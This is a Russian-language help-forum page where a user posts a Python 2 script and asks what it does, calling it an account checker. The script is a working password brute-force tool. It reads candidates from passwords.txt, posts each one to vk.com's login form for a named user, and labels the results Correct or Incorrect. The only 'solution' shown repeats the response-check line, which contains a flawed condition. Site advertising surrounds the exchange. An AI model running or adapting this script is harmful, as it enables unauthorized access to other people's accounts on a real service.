Подскажите что делает приведенный код - Python

Узнай цену своей работы

Формулировка задачи:

Здравствуйте. Подскажите что исполняет данный код, какие функции и прочее все что можно о нем сказать кроме того что это чекер аккаунтов)
Листинг программы
  1. # -*- encoding: utf-8 -*-
  2. import httplib, urllib
  3. infile = open('passwords.txt', 'r')
  4. user = 'Slemers'
  5. host = 'vk.com'
  6. redirect_url = 'vk.com'
  7. path = '/login'
  8. print "\nЗапрос авторизации по адресу : "+host+path
  9. for line in infile:
  10. password=line.rstrip('\n')
  11. param = urllib.urlencode({'submit':'submit','log_in[username]':user,'log_in[password]':password,'log_in[remember]':1,'redirect_url':redirect_url,
  12. 'security_log_additional_info':1})
  13. # "{"language":"ru-RU","cookieEnabled":true,"javaEnabled":true,"flashVersion":"20.0.0","dateTime":"04.04.2016,+20:09:11"}" security_log_additional_info
  14. header = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain",
  15. "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"}
  16. connect = httplib.HTTPConnection(host)
  17. connect.request("POST", path, param, header)
  18. response = connect.getresponse()
  19. #print response,
  20. print response.status,
  21. print "--> "+user+":"+password,
  22. code = response.read()
  23. if code.find("Неверное имя пользователя или пароль.") <= 0:
  24. print chr(27)+"[0;91m"+"Incorrect"
  25. else:
  26. print chr(27)+"[0;92m"+"Correct"
  27. print chr(27)+"[0m"
  28. connect.close()
  29. infile.close()

Решение задачи: «Подскажите что делает приведенный код»

textual
Листинг программы
  1. if code.find("Неверное имя пользователя или пароль.") <= 0:

ИИ поможет Вам:


  • решить любую задачу по программированию
  • объяснить код
  • расставить комментарии в коде
  • и т.д
Попробуйте бесплатно

Оцени полезность:

15   голосов , оценка 3.867 из 5

Нужна аналогичная работа?

Оформи быстрый заказ и узнай стоимость

Бесплатно
Оформите заказ и авторы начнут откликаться уже через 10 минут